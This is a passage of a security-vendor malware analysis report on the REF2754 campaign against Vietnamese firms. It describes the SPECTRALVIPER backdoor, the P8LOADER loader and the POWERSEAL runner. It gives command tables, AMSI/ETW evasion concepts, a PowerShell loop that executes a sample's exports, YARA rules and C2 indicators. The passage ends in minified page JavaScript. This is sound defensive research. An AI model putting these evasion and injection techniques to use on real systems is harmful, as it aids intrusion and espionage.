operates with two distinct communication modes, allowing it to receive messages either via HTTP or a Windows named pipe.\n\nThrough our analysis, we have identified the following capabilities:\n\n- **PE loading/Injection** : SPECTRALVIPER can load and inject executable files, supporting both x86 and x64 architectures. This capability enables it to execute malicious code within legitimate processes.\n- **Token Impersonation** : The malware possesses the ability to impersonate security tokens, granting it elevated privileges and bypassing certain security measures. This enables unauthorized access and manipulation of sensitive resources.\n- **File downloading/uploading** : SPECTRALVIPER can download and upload files to and from the compromised system. This allows the attacker to exfiltrate data or deliver additional malicious payloads to the infected machine.\n- **File/directory manipulation** : The backdoor is capable of manipulating files and directories on the compromised system. This includes creating, deleting, modifying, and moving files or directories, providing the attacker with extensive control over the victim's file system.\n\n![SPECTRALVIPER overview](/assets/images/elastic-charms-spectralviper/image30.jpg)\n\n### Execution flow\n\n#### Launch\n\nSPECTRALVIPER can be compiled as a PE executable or DLL file. Launching the malware as a PE is straightforward by executing **.\\spectralviper.exe**.\n\nHowever, when the malware is a DLL it will attempt to disguise itself as a legitimate library with known exports such as sqlite3 in our observed sample.\n\n![SPECTRALVIPER DLL sample exports](/assets/images/elastic-charms-spectralviper/image14.jpg)\n\nThe SPECTRALVIPER entrypoint is hidden within these exports. In order to find the right one, we can brute-force call them using PowerShell and [rundll-ng](https://github.com/BenjaminSoelberg/RunDLL-NG). The PowerShell command depicted below calls each SPECTRALVIPER export in a **for** loop until we find the one launching the malware capabilities.\n\n```\nfor($i=0; $i -lt 20; $i++){.\\rundll-ng\\rundll64-ng.exe \".\\7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb.dll\" \"#$i\"}\n```\n\n![Brute-forcing calls to SPECTRALVIPER exports](/assets/images/elastic-charms-spectralviper/image33.jpg)\n\nUpon execution, the binary operates in either HTTP mode or pipe mode, determined by its hardcoded configuration.\n\n#### Pipe mode\n\nIn pipe mode, SPECTRALVIPER opens a named pipe with a hardcoded name and waits for incoming commands, in this example **\\\\.\\pipe\\raSeCIR4gg**.\n\n![SPECTRALVIPER sample operating in pipe mode](/assets/images/elastic-charms-spectralviper/image19.jpg)\n\nThis named pipe doesn’t have any security attributes meaning it’s accessible by everyone. This is interesting because an unsecured named pipe can be overtaken by a co-resident threat actor (either known or unknown to the SPECTRALVIPER operator) or defensive teams as a way to interrupt this execution mode.\n\n![SPECTRALVIPER’s pipe security attributes](/assets/images/elastic-charms-spectralviper/image6.jpg)\n\nHowever, a specific protocol is needed to communicate with this pipe. SPECTRALVIPER implements the [Diffie-Helman key exchange protocol](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange) to exchange the key needed to encrypt and decrypt commands transmitted via the named pipe, which is AES-encrypted.\n\n#### HTTP mode\n\nIn HTTP mode, the malware will beacon to its C2 every _n_ seconds, the interval period is generated randomly in a range between 10 and 99 seconds.\n\n![SPECTRALVIPER’s other sample operates in HTTP mode](/assets/images/elastic-charms-spectralviper/image20.jpg)\n\nUsing a debugger, we can force the binary to use the HTTP channel instead of the named pipe if the binary contains a hard-coded domain.\n\n![Debugging SPECTRALVIPER to force the HTTP mode](/assets/images/elastic-charms-spectralviper/image28.jpg)\n\nBelow is an HTTP request example.\n\n![SPECTRALVIPER HTTP request example](/assets/images/elastic-charms-spectralviper/image15.jpg)\n\nThe request contains a cookie header, “ **euconsent-v2** ”, which contains host-gathered information. This information is encrypted using RSA1024 asymmetric encryption and base64-encoded using Base64. Below is an example of the cookie content before encryption.\n\n![Cookie data pre RSA1024 encryption](/assets/images/elastic-charms-spectralviper/image10.jpg)\n\nWe believe that the first value, in this example “ **H9mktfe2k0ukk64nZjw1ow==** ”, is the randomly generated AES key that is shared with the server to encrypt communication data.\n\n### Commands\n\nWhile analyzing SPECTRALVIPER samples we discovered its command handler table containing between 33 and 36 handlers.\n\n![SPECTRALVIPER registering command handlers](/assets/images/elastic-charms-spectralviper/image17.jpg)\n\nBelow is a table listing of the commands that were identified.\n\n| ID | Name |\n| --- | -------------------------------------------- |\n| 2 | DownloadFile |\n| 3 | UploadFile |\n| 5 | SetBeaconIntervals |\n| 8 | CreateRundll32ProcessAndHollow |\n| 11 | InjectShellcodeInProcess |\n| 12 | CreateProcessAndInjectShellcode |\n| 13 | InjectPEInProcess |\n| 14 | CreateProcessAndHollow |\n| 20 | CreateRundll32ProcessWithArgumentAndInjectPE |\n| 81 | StealProcessToken |\n| 82 | ImpersonateUser |\n| 83 | RevertToSelf |\n| 84 | AdjustPrivileges |\n| 85 | GetCurrentUserName |\n| 103 | ListFiles |\n| 106 | ListRunningProcesses |\n| 108 | CopyFile |\n| 109 | DeleteFile |\n| 110 | CreateDirectory |\n| 111 | MoveFile |\n| 200 | RunDLLInOwnProcess |\n\nIn order to speed up the process of interacting with SPECTRALVIPER, we bypassed the communication protocols and injected our own backdoor into the binary. This backdoor will open a socket and call the handlers upon receiving our messages.\n\n![Injecting our backdoor to call SPECTRALVIPER handlers](/assets/images/elastic-charms-spectralviper/image13.jpg)\n\nWhen the **AdjustPrivileges** command is executed, and depending on the process's current privilege level, the malware will try to set the following list of privileges.\n\n![SPECTRALVIPER setting privileges](/assets/images/elastic-charms-spectralviper/image3.jpg)\n\n### Defense evasion\n\n#### Code obfuscation\n\nThe binary code is heavily obfuscated by splitting each function into multi-level dummy functions that encapsulate the initial logic. On top of that, the control flow of those functions is also obfuscated using control flow flattening. [Control flow flattening](https://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/) is an obfuscation technique that removes clean program structures and places the blocks next to each other inside a loop with a switch statement to control the flow of the program.\n\nBelow is an example of a second-level identity function where the highlighted parameter **p_a1** is just returned despite the complexity of the function.\n\n![SPECTRALVIPER obfuscated function example](/assets/images/elastic-charms-spectralviper/image21.jpg)\n\n#### String obfuscation\n\nSPECTRALVIPER’s strings are obfuscated using a custom structure and AES decryption. The key is hardcoded ( **\"\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0b\\x0c\\x0d\\x0e\\x0f\"** ) and the IV is contained within the encrypted string structure.\n\n![Encrypted string structure 1/2](/assets/images/elastic-charms-spectralviper/image24.jpg)\n\n![Encrypted string structure 2/2](/assets/images/elastic-charms-spectralviper/image2.jpg)\n\nWe can decrypt the strings by instrumenting the malware and calling its AES decryption functions.\n\n![Decrypting strings by instrumenting the binary 1/2](/assets/images/elastic-charms-spectralviper/image27.jpg)\n\n![Decrypting strings by instrumenting the binary 2/2](/assets/images/elastic-charms-spectralviper/image31.png)\n\n### Summary\n\nSPECTRALVIPER is an x64 backdoor discovered during intrusion analysis by Elastic Security Labs. It can be compiled as an executable or DLL which usually would imitate known binary exports.\n\nIt enables process loading/injection, token impersonation, and file manipulation. It utilizes encrypted communication channels (HTTP and named pipe) with AES encryption and Diffie-Hellman or RSA1024 key exchange.\n\nAll samples are heavily obfuscated using the same obfuscator with varying levels of hardening.\n\nUsing the information we collected through static and dynamic analysis, we were able to identify several other samples in VirusTotal. Using the debugging process outlined above, we were also able to collect the C2 infrastructure for these samples.\n\n## P8LOADER\n\n### Overview\n\nThe Portable Executable (PE) described below is a Windows x64 PE loader, written in C++, which we are naming P8LOADER after one of its exports, **P8exit**.\n\n![P8exit export name](/assets/images/elastic-charms-spectralviper/image5.jpg)\n\n### Discovery\n\nP8LOADER was initially discovered when an unbacked shellcode alert was generated by the execution of a valid Windows process, **RuntimeBroker.exe**. Unbacked executable sections, or _floating code_, are the result of code section types set to “Private” instead of “Image” like you would see when code is mapped to a file on disk. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity.\n\n![P8LOADER unbacked observation](/assets/images/elastic-charms-spectralviper/image1.jpg)\n\n\u003e If you want to learn more about unbacked executable events, check out the [Hunting in Memory research](https://www.elastic.co/security-labs/hunting-memory) publication by Joe Desimone.\n\n### Execution flow\n\nThe loader exports two functions that have the capability to load PE binaries into its own process memory, either from a file or from memory.\n\n![P8LOADER functions](/assets/images/elastic-charms-spectralviper/image26.jpg)\n\nThe PE to be executed is loaded into memory using the **VirtualAlloc** method with a classic PE loading algorithm (loading sections, resolving imports, and applying relocations).\n\n![P8LOADER loading the PE to be executed](/assets/images/elastic-charms-spectralviper/image9.jpg)\n\nNext, a new thread is allocated with the entry point of the PE as the starting address.\n\n![P8LOADER setting the PE starting address](/assets/images/elastic-charms-spectralviper/image34.jpg)\n\nFinally, the loaded PE’s STDOUT handle is replaced with a pipe and a reading pipe thread is created as a way to redirect the output of the binary to the loader logging system.\n\n![P8LOADER redirecting to the loader logging system](/assets/images/elastic-charms-spectralviper/image29.jpg)\n\nOn top of redirecting the loaded PE output, the loader uses an API interception mechanism to hook certain APIs of the loaded process, log any calls to it, and send the data through a named pipe (with a randomly generated UUID string as the name).\n\nThe hooking of the PE's import table is done at import resolution time by replacing the originally imported function addresses with their own stub.\n\n### Defense evasion\n\n#### String obfuscation\n\nP8LOADER uses a C++ template-based obfuscation technique to obscure errors and debug strings with a set of different algorithms chosen randomly at compile time.\n\nThese strings are obfuscated to hinder analysis as they provide valuable information about the loader functions and capabilities.\n\n![String decryption algorithm example 1/3](/assets/images/elastic-charms-spectralviper/image7.png)\n\n![String decryption algorithm example 2/3](/assets/images/elastic-charms-spectralviper/image23.png)\n\n![String decryption algorithm example 3/3](/assets/images/elastic-charms-spectralviper/image25.jpg)\n\n### Summary\n\nP8LOADER is a newly discovered x64 Windows loader that is used to execute a PE from a file or from memory. This malware is able to redirect the loaded PE output to its logging system and hook the PE imports to log import calls.\n\n## POWERSEAL code analysis\n\n### Overview\n\nDuring this intrusion, we observed a lightweight .NET PowerShell runner that we call POWERSEAL based on embedded strings. After SPECTRALVIPER was successfully deployed, the POWERSEAL utility would be used to launch supplied PowerShell scripts or commands. The malware leverages syscalls ( **NtWriteVirtualMemory** ) for evading defensive solutions (AMSI/ETW).\n\n![POWERSEAL Classes/Functions](/assets/images/elastic-charms-spectralviper/image11.jpg)\n\n### Defense evasion\n\nEvent Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers. The Anti Malware Scan Interface (AMSI) provides enhanced malware protection for data, applications, and workloads. POWERSEAL adopts well-known and publicly-available bypasses in order to patch these technologies in memory. This increases their chances of success while decreasing their detectable footprint.\n\nFor example, POWERSEAL employs [common approaches to unhooking and bypassing AMSI](https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/) in order to bypass Microsoft Defender’s signature\n\n![POWERSEAL bypassing AMSI](/assets/images/elastic-charms-spectralviper/image8.jpg)\n\n### Launch PowerShell\n\nPOWERSEAL’s primary function is to execute PowerShell. In the following depiction of POWERSEAL’s source code, we can see that POWERSEAL uses PowerShell to execute a script and arguments ( **command** ). The script and arguments are provided by the threat actor and were not observed in the environment.\n\n![POWERSEAL executing shellcode with PowerShell](/assets/images/elastic-charms-spectralviper/image32.jpg)\n\n### Summary\n\nPOWERSEAL is a new and purpose-built PowerShell runner that borrows freely from a variety of open source offensive security tools, delivering offensive capabilities in a streamlined package with built-in defense evasion.\n\n## Campaign and adversary modeling\n\n### Overview\n\nREF2754 is an ongoing campaign against large nationally important public companies within Vietnam. The malware execution chain in this campaign is initiated with DONUTLOADER, but goes on to utilize previously unreported tooling.\n\n1. SPECTRALVIPER, an obfuscated x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, token impersonation, and named pipe and HTTP command and control\n2. P8LOADER, an obfuscated Windows PE loader allowing the attacker to minimize and obfuscate some logging on the victim endpoints, and\n3. POWERSEAL, a PowerShell runner with ETW and AMSI bypasses built in for enhanced defensive evasion when using PowerShell tools\n\nElastic Security Labs concludes with moderate confidence that this campaign is executed by a Vietnamese state-affiliated threat.\n\n![REF2754 and REF4322 campaign intersections](/assets/images/elastic-charms-spectralviper/image4.png)\n\n### Victimology\n\nUsing our SPECTRALVIPER YARA signature, we identified two endpoints in a second environment infected with SPECTRALVIPER implants. That environment was discussed in Elastic Security Labs research in 2022 which describes [REF4322](https://www.elastic.co/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector).\n\nThe REF4322 victim is a Vietnam-based financial services company. Elastic Security Labs first talked about this victim and activity group in 2022.\n\nThe REF2754 victim has been identified as a large Vietnam-based agribusiness.\n\nFurther third party intelligence from VirusTotal, based on retro-hunting the YARA rules available at the end of this research, indicate additional Vietnam-based victims. There were eight total Retrohunt hits:\n\n- All were manually confirmed to be SPECTRALVIPER\n- All samples were between 1.59MB and 1.77MB in size\n- All VirusTotal samples were initially submitted from Vietnam\n\nSome samples were previously identified in our first party collection, and some were new to us.\n\n\u003e Be mindful of the analytic limitations of relying on “VT submitter” too heavily. This third party reporting mechanism may be subject to circular reporting concerns or VPN usage that modifies the GEOs used, and inadvertent reinforcement of a hypothesis. In this case, it was used in an attempt to try to find samples with apparent non-VN origins, without success.\n\nAt the time of publication, all known victims are large public companies physically within Vietnam, and conducting business primarily within Vietnam.\n\n### Campaign analysis\n\nThe overlap with the REF4322 environment occurred fairly recently, on April 20, 2023. One of these endpoints was previously infected with the PHOREAL implant, while the other endpoint was compromised with PIPEDANCE.\n\nThese SPECTRALVIPER infections were configured under pipe mode as opposed to hardcoded domains set to wait for incoming connection over a named pipe ( **\\\\.\\pipe\\ydZb0bIrT** ).\n\n![SPECTRALVIPER coresident on a PIPEDANCE-infected host](/assets/images/elastic-charms-spectralviper/image18.jpg)\n\nThis activity appears to be a handoff of access or swapping out of one tool for another.\n\n\u003e If you’re interested in a detailed breakdown of the PIPEDANCE malware, check out our [previous research](https://www.elastic.co/security-labs/twice-around-the-dance-floor-with-pipedance) and stay tuned, more to come.\n\nPost-exploitation collection of intended effects has been limited, however, while speculative in nature, a motivation assessment based on malware, implant, and technical capabilities points to achieving initial access, maintaining persistence, and operating as a backdoor for intelligence gathering purposes.\n\nDomains from REF4322, REF2754, and from samples collected from VirusTotal used for C2 have all been registered in the last year with the most recent being in late April 2023.\n\n| Domain: | Created: |\n| -------------------------------- | ---------- |\n| stablewindowsapp[.]com | 2022-02-10 |\n| webmanufacturers[.]com | 2022-06-10 |\n| toppaperservices[.]com | 2022-12-15 |\n| hosting-wordpress-services[.]com | 2023-03-15 |\n| appointmentmedia[.]com | 2023-04-26 |\n\nGEOs for associated IPs for these domains are globally distributed, and they use Sectigo, Rapid SSL, and Let’s Encrypt certs. Further infrastructure analysis did not uncover anything of note beyond their registration date, which does give us a campaign timebox. Based on the recent registration of **appointmentmedia[.]com**, this campaign could still be ongoing with new domains being registered for future intrusions.\n\n### Campaign associations\n\nElastic Security Labs concludes with moderate confidence that both REF4322 and REF2754 activity groups represent campaigns planned and executed by a Vietnamese state-affiliated threat. Based on our analysis, this activity group overlaps with prior reporting of Canvas Cyclone, APT32, and OCEANLOTUS threat groups.\n\nAs stated above and in previous reporting, the REF4322 victim is a financial institution that manages capital for business acquisitions and former State-Owned-Enterprises.\n\nThe REF2754 victim is a large agribusiness that is systemically important in the food production and distribution supply chains of Vietnam. Ongoing urbanization, pollution, the COVID-19 pandemic, and climate change have been challenges for Vietnam’s food security. As a data point, in March of 2023, Vietnam’s Prime Minister [approved](https://apps.fas.usda.gov/newgainapi/api/Report/DownloadReportByFileName?fileName=Vietnam%20Issues%20National%20Action%20Plan%20on%20Food%20Systems%20Transformation%20toward%20Transparency%20Responsibility%20and%20Sustainability%20by%202030_Hanoi_Vietnam_VM2023-0017.pdf) the National Action Plan on Food Systems Transformation toward Transparency, Responsibility, and Sustainability in Vietnam by 2030. Its overall objective is to transform the food systems including production, processing, distribution, and consumption towards transparency, responsibility, and sustainability based on local advantages; to ensure national food and nutrition security; to improve people's income and living standards; to prevent and control natural disasters and epidemics; to protect the environment and respond to climate change; and finally to contribute to the rolling-out of the Vietnam and Global Sustainable Development Goals by 2030. All of this highlights that food security has been a point of national policy emphasis, which also makes the victims of REF2754 an attractive target to threat actors because of their intersection with Vietnam’s strategic objectives.\n\nIn addition to the nationally-aligned strategic interests of the victims for REF4322 and REF2754, both victims were infected with the DONUTLOADER, P8LOADER, POWERSEAL, and SPECTRALVIPER malware families using similar deployment techniques, implant management, and naming conventions in both intrusions.\n\nA threat group with access to the financial transaction records available in REF4322, combined with the national strategic food safety policy for REF2754 would provide insight into competency of management, corruption, foreign influence, or price manipulations otherwise unavailable through regulatory reporting.\n\n### Diamond model\n\nElastic Security utilizes the [Diamond Model](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a (cluttered) single diamond.\n\n![REF2754 Diamond Model](/assets/images/elastic-charms-spectralviper/image12.png)\n\n## Observed adversary tactics and techniques\n\nElastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\n\n### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n\n- [Initial access](https://attack.mitre.org/tactics/TA0001)\n- [Execution](https://attack.mitre.org/tactics/TA0002)\n- [Defense evasion](https://attack.mitre.org/tactics/TA0005)\n- [Discovery](https://attack.mitre.org/tactics/TA0007)\n- [Lateral movement](https://attack.mitre.org/tactics/TA0008/)\n- [Collection](https://attack.mitre.org/tactics/TA0009)\n- [Command and control](https://attack.mitre.org/tactics/TA0011)\n\n### Techniques / Sub techniques\n\nTechniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\n\n- [Gather host information](https://attack.mitre.org/techniques/T1592/)\n- [Gather victim network information](https://attack.mitre.org/techniques/T1590/)\n- [Network share discovery](https://attack.mitre.org/techniques/T1135/)\n- [Remote system discovery](https://attack.mitre.org/techniques/T1018/)\n- [File and directory discovery](https://attack.mitre.org/techniques/T1083/)\n- [Process discovery](https://attack.mitre.org/techniques/T1057/)\n- [System service discovery](https://attack.mitre.org/techniques/T1007/)\n- [System owner/user discovery](https://attack.mitre.org/techniques/T1033/)\n- [Process injection](https://attack.mitre.org/techniques/T1055/)\n- [Masquerading](https://attack.mitre.org/techniques/T1036/)\n- [Application layer protocol: Web protocols](https://attack.mitre.org/techniques/T1071/001/)\n- [Access Token Manipulation: Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003/)\n\n## Detection logic\n\n### Preventions\n\nAll of the malware discussed in this research publication have protections included in Elastic Defend.\n\n- [Windows.Trojan.SpectralViper](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SpectralViper.yar)\n- [Windows.Trojan.PowerSeal](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PowerSeal.yar)\n- [Windows.Trojan.P8Loader](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_P8Loader.yar)\n\n### YARA\n\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify SPECTRALVIPER, POWERSEAL, and P8LOADER\n\n```\nrule Windows_Trojan_SpectralViper_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-04-13\"\n last_modified = \"2023-05-26\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"SpectralViper\"\n threat_name = \"Windows.Trojan.SpectralViper\"\n reference_sample = \"7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb\"\n license = \"Elastic License v2\"\n\n strings:\n $a1 = { 13 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 26 83 FD 0A 0F 9C 44 24 27 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }\n $a2 = { 15 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 2E 83 FD 0A 0F 9C 44 24 2F 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }\n $a3 = { 00 8D 68 FF 0F AF E8 40 F6 C5 01 0F 94 44 24 2E 83 FA 0A 0F 9C 44 24 2F 4C 89 CE 4C 89 C7 48 89 CB B8 }\n $a4 = { 00 48 89 C6 0F 29 30 0F 29 70 10 0F 29 70 20 0F 29 70 30 0F 29 70 40 0F 29 70 50 48 C7 40 60 00 00 00 00 48 89 C1 E8 }\n $a5 = { 41 0F 45 C0 45 84 C9 41 0F 45 C0 EB BA 48 89 4C 24 08 89 D0 EB B1 48 8B 44 24 08 48 83 C4 10 C3 56 57 53 48 83 EC 30 8B 05 }\n $a6 = { 00 8D 70 FF 0F AF F0 40 F6 C6 01 0F 94 44 24 25 83 FF 0A 0F 9C 44 24 26 89 D3 48 89 CF 48 }\n $a7 = { 48 89 CE 48 89 11 4C 89 41 08 41 0F 10 01 41 0F 10 49 10 41 0F 10 51 20 0F 11 41 10 0F 11 49 20 0F 11 51 30 }\n $a8 = { 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 22 83 FD 0A 0F 9C 44 24 23 48 89 D6 48 89 CF 4C 8D }\n condition:\n 5 of them\n}\n```\n\n```\nrule Windows_Trojan_SpectralViper_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-05-10\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"SpectralViper\"\n threat_name = \"Windows.Trojan.SpectralViper\"\n reference_sample = \"d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8\"\n license = \"Elastic License v2\"\n\n strings:\n $a1 = { 18 48 89 4F D8 0F 10 40 20 0F 11 47 E0 0F 10 40 30 0F 11 47 F0 48 8D }\n $a2 = { 24 27 48 83 C4 28 5B 5D 5F 5E C3 56 57 53 48 83 EC 20 48 89 CE 48 }\n $a3 = { C7 84 C9 0F 45 C7 EB 86 48 8B 44 24 28 48 83 C4 30 5B 5F 5E C3 48 83 }\n $s1 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 51 10 48 8B 49 08 FF D0 48 89 43 18 B8 04 00 00 }\n $s2 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 49 08 FF D0 48 89 43 10 B8 04 00 00 00 48 83 C4 20 5B }\n $s3 = { 48 83 EC 28 4C 8B 41 18 4C 8B C9 48 B8 AB AA AA AA AA AA AA AA 48 F7 61 10 48 8B 49 08 48 C1 EA }\n condition:\n 2 of ($a*) or any of ($s*)\n}\n```\n\n```\nrule Windows_Trojan_PowerSeal_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-03-16\"\n last_modified = \"2023-05-26\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"PowerSeal\"\n threat_name = \"Windows.Trojan.PowerSeal\"\n license = \"Elastic License v2\"\n\n strings:\n $a1 = \"PowerSeal.dll\" wide fullword\n $a2 = \"InvokePs\" ascii fullword\n $a3 = \"amsiInitFailed\" wide fullword\n $a4 = \"is64BitOperatingSystem\" ascii fullword\n condition:\n all of them\n}\n```\n\n```\nrule Windows_Trojan_PowerSeal_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-05-10\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"PowerSeal\"\n threat_name = \"Windows.Trojan.PowerSeal\"\n license = \"Elastic License v2\"\n\n strings:\n $a1 = \"[+] Loading PowerSeal\"\n $a2 = \"[!] Failed to exec PowerSeal\"\n $a3 = \"AppDomain: unable to get the name!\"\n condition:\n 2 of them\n}\n```\n\n```\nrule Windows_Trojan_P8Loader {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-04-13\"\n last_modified = \"2023-05-26\"\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"P8Loader\"\n threat_name = \"Windows.Trojan.P8Loader\"\n license = \"Elastic License v2\"\n\n strings:\n $a1 = \"\\t[+] Create pipe direct std success\\n\" fullword\n $a2 = \"\\tPEAddress: %p\\n\" fullword\n $a3 = \"\\tPESize: %ld\\n\" fullword\n $a4 = \"DynamicLoad(%s, %s) %d\\n\" fullword\n $a5 = \"LoadLibraryA(%s) FAILED in %s function, line %d\" fullword\n $a6 = \"\\t[+] No PE loaded on memory\\n\" wide fullword\n $a7 = \"\\t[+] PE argument: %ws\\n\" wide fullword\n $a8 = \"LoadLibraryA(%s) FAILED in %s function, line %d\" fullword\n condition:\n 5 of them\n}\n```\n\n## References\n\nThe following were referenced throughout the above research:\n\n- [https://www.elastic.co/security-labs/hunting-memory](https://www.elastic.co/security-labs/hunting-memory)\n- [https://www.elastic.co/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector](https://www.elastic.co/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector)\n- [https://www.elastic.co/security-labs/twice-around-the-dance-floor-with-pipedance](https://www.elastic.co/security-labs/twice-around-the-dance-floor-with-pipedance)\n- [https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/](https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/)\n- [https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming](https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide)\n\n## Observations\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/spectralviper) in both ECS and STIX format in a combined zip bundle.\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n| ---------------------------------------------------------------- | ------- | ----------------------------------------- | ------------------------------------ |\n| 56d2d05988b6c23232b013b38c49b7a9143c6649d81321e542d19ae46f4a4204 | SHA-256 | - | SPECTRALVIPER Related to 1.dll below |\n| d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8 | SHA-256 | 1.dll | SPECTRALVIPER |\n| 7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb | SHA-256 | asdgb.exe | SPECTRALVIPER |\n| 4e3a88cf00e0b4718e7317a37297a185ff35003192e5832f5cf3020c4fc45966 | SHA-256 | Settings.db | SPECTRALVIPER |\n| 7b5e56443812eed76a94077763c46949d1e49cd7de79cde029f1984e0d970644 | SHA-256 | Microsoft.MicrosoftEdge_8wekyb3d8bbwe.pkg | SPECTRALVIPER |\n| 5191fe222010ba7eb589e2ff8771c3a75ea7c7ffc00f0ba3f7d716f12010dd96 | SHA-256 | UpdateConfig.json | SPECTRALVIPER |\n| 4775fc861bc2685ff5ca43535ec346495549a69891f2bf45b1fcd85a0c1f57f7 | SHA-256 | Microsoft.OneDriveUpdatePackage.mca | SPECTRALVIPER |\n| 2482c7ececb23225e090af08feabc8dec8d23fe993306cb1a1f84142b051b621 | SHA-256 | ms-certificates.sst | SPECTRALVIPER |\n| stablewindowsapp[.]com | Domain | n/a | C2 |\n| webmanufacturers[.]com | Domain | n/a | C2 |\n| toppaperservices[.]com | Domain | n/a | C2 |\n| hosting-wordpress-services[.]com | Domain | n/a | C2 |\n| appointmentmedia[.]com | Domain | n/a | C2 |\n","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),w=(n,e)=\u003e{for(var t in e)r(n,t,{get:e[t],enumerable:!0})},o=(n,e,t,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of m(e))!u.call(n,a)\u0026\u0026a!==t\u0026\u0026r(n,a,{get:()=\u003ee[a],enumerable:!(s=p(e,a))||s.enumerable});return n};var b=(n,e,t)=\u003e(t=n!=null?h(g(n)):{},o(e||!n||!n.__esModule?r(t,\"default\",{value:n,enumerable:!0}):t,n)),y=n=\u003eo(r({},\"__esModule\",{value:!0}),n);var c=f((R,l)=\u003e{l.exports=_jsx_runtime});var A={};w(A,{default:()=\u003eP,frontmatter:()=\u003eE});var i=b(c()),E={title:\"Elastic charms SPECTRALVIPER\",slug:\"elastic-charms-spectralviper\",date:\"2023-06-09\",subtitle:\"Elastic Security Labs has discovered the SPECTRALVIPER malware targeting a national Vietnamese agribusiness.\",description:\"Elastic Security Labs has discovered the P8LOADER, POWERSEAL, and SPECTRALVIPER malware families targeting a national Vietnamese agribusiness. REF2754 shares malware and motivational elements of the REF4322 and APT32 activity groups.\",author:[{slug:\"cyril-francois\"},{slug:\"daniel-stepanic\"},{slug:\"seth-goodwin\"}],image:\"photo-edited-10@2x.jpg\",category:[{slug:\"malware-analysis\"},{slug:\"campaigns\"}],tags:[\"ref2754\",\"spectralviper\",\"p8loader\",\"powerseal\"]};function d(n){let e=Object.assign({h2:\"h2\",ul:\"ul\",li:\"li\",p:\"p\",strong:\"strong\",a:\"a\",img:\"img\",h3:\"h3\",h4:\"h4\",pre:\"pre\",code:\"code\",em:\"em\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",blockquote:\"blockquote\",ol:\"ol\"},n.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"The REF2754 intrusion set leverages multiple PE loaders, backdoors, and PowerShell runners\"}),`\n`,(0,i.jsx)(e.li,{children:\"SPECTRALVIPER is a heavily obfuscated, previously undisclosed, x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, and token impersonation capabilities\"}),`\n`,(0,i.jsx)(e.li,{children:\"We are attributing REF2754 to a Vietnamese-based intrusion set and 